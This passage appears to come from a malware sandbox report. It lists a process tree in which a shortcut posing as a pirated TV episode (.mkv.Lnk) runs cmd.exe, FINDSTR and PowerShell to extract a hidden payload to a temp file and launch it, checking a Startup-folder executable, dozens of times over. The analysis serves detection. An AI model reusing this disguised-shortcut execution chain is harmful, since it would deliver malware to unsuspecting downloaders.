        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        94⤵
        
        PID:2372
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0788" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        95⤵
        
        PID:3060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        95⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3584
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        96⤵
        
        PID:6076
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0866" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        97⤵
        
        PID:628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        97⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5048
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        98⤵
        
        PID:5968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0951" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        99⤵
        
        PID:1656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        99⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        100⤵
        
        PID:1996
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0019" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        101⤵
        
        PID:3456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        101⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5752
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        102⤵
        
        PID:5248
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0090" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        103⤵
        
        PID:2452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        103⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4012
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        104⤵
        
        PID:1516
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0169" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        105⤵
        
        PID:664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        105⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1292
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        106⤵
        
        PID:4628
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0244" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        107⤵
        
        PID:4700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        107⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4140
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        108⤵
        
        PID:4844
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0316" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        109⤵
        
        PID:4604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        109⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        110⤵
        
        PID:4828
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0401" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        111⤵
        
        PID:4696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        111⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5440
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        112⤵
        
        PID:4528
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0473" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        113⤵
        
        PID:2620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        113⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1336
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        114⤵
        
        PID:2552
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0546" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        115⤵
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        115⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:756
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        116⤵
        
        PID:3416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0627" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        117⤵
        
        PID:2084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        117⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        118⤵
        
        PID:5468
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0690" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        119⤵
        
        PID:5684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        119⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6052
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        120⤵
        
        PID:5484
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0768" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        121⤵
        
        PID:796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        121⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        122⤵
        
        PID:5356
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0844" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        123⤵
        
        PID:4580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        123⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2812
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        124⤵
        
        PID:4744
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0924" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        125⤵
        
        PID:2696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        125⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5072
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        126⤵
        
        PID:2956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0990" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        127⤵
        
        PID:1004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        127⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:244
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        128⤵
        
        PID:6068
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0084" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        129⤵
        
        PID:4776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        129⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4820
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        130⤵
        
        PID:592
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        131⤵
        
        PID:664
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0155" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        131⤵
        
        PID:4632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        131⤵
        
        PID:1932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        132⤵
        
        PID:4700
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0249" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        133⤵
        
        PID:3196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        133⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5832
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        134⤵
        
        PID:3344
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0332" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        135⤵
        
        PID:4960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        135⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:880
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        136⤵
        
        PID:4696
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0421" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        137⤵
        
        PID:1188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        137⤵
        
        PID:5196
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        138⤵
        
        PID:5360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0504" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        139⤵
        
        PID:5824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        139⤵
        
        PID:2500
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        140⤵
        
        PID:2912
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0594" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        141⤵
        
        PID:3732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        141⤵
        
        PID:1988
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        142⤵
        
        PID:6120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0674" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        143⤵
        
        PID:2096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        143⤵
        
        PID:5960
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        144⤵
        
        PID:5228
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0752" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        145⤵
        
        PID:5532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        145⤵
        
        PID:3568
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        146⤵
        
        PID:1560
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0835" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        147⤵
        
        PID:3572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        147⤵
        
        PID:5612
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        148⤵
        
        PID:5092
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0913" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        149⤵
        
        PID:5472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        149⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:628
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        150⤵
        
        PID:4592
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        151⤵
        
        PID:3912
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0990" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        151⤵
        
        PID:5656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        151⤵
        
        PID:4192
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        152⤵
        
        PID:1788
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0069" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        153⤵
        
        PID:4964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        153⤵
        
        PID:2560
        
        C:\Windows\SYSTEM32\cmd.EXE
        
